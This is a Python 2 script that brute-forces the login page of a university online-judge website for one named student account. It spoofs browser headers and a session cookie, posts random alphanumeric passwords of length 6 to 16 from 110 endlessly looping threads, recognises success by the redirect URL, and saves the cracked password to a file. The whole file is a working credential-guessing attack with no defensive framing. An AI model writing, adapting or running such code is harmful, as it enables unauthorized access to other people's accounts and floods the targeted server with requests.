#coding=utf8

import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import urllib2
import urllib
import random
import thread
import time
import threading

url = 'http://acm.njupt.edu.cn/acmhome/login.do'
headers = { 'Host' : 'acm.njupt.edu.cn', 
            'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0',
            'Referer' : 'http://acm.njupt.edu.cn/acmhome/welcome.do?method=index',
            'Cookie' : 'JSESSIONID=A374AEE3BFB0D65ADD9401D4E013DD01; JSESSIONID=EE26685751573EA5B1A33416873B22E2',
            'Content-Type' : 'application/x-www-form-urlencoded',
        }

para_dct = {}
passwords1 = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h',
              'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']

passwords2 = ['1','2','3','4','5','6','7','8','9','0']

passwords3 = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h',
                 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
                 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R',
                 'S','T','U','V','W','X','Y','Z']

def testpassword(password):
    req = urllib2.Request(url, 'userName=B13041201&password='+password, headers)
    f = urllib2.urlopen(req)
    if f.geturl().strip() == 'http://acm.njupt.edu.cn/acmhome/welcome.do?method=index':
        print 'password is:'+password
        fp = open('password.txt','w')
        fp.write(password)
        fp.close()

class GetThread(threading.Thread):
    def __init__(self,passlen):
        threading.Thread.__init__(self)
        self.passlen=passlen 
        print 'Thread Start!'
    
    def getpass(self):
        i = 0
        while i < (len(passwords3)**self.passlen):
            i += 1
            passwd = ''
            for k in range(self.passlen):
                passwd += random.choice(passwords3)
            testpassword(passwd)

    def run(self):
        while True:
            try:
                self.getpass()
            except Exception:
                self.getpass()

def threadfunc(passlen):
    i = 0
    while i < (len(passwords3)**passlen):
        i += 1
        passwd = ''
        for k in range(passlen):
            passwd += random.choice(passwords3)
        testpassword(passwd)
    

if __name__ == '__main__':
    for i in range(10):
        for k in range(6,17):
            GetThread(k).start()
    while True:
        time.sleep(10)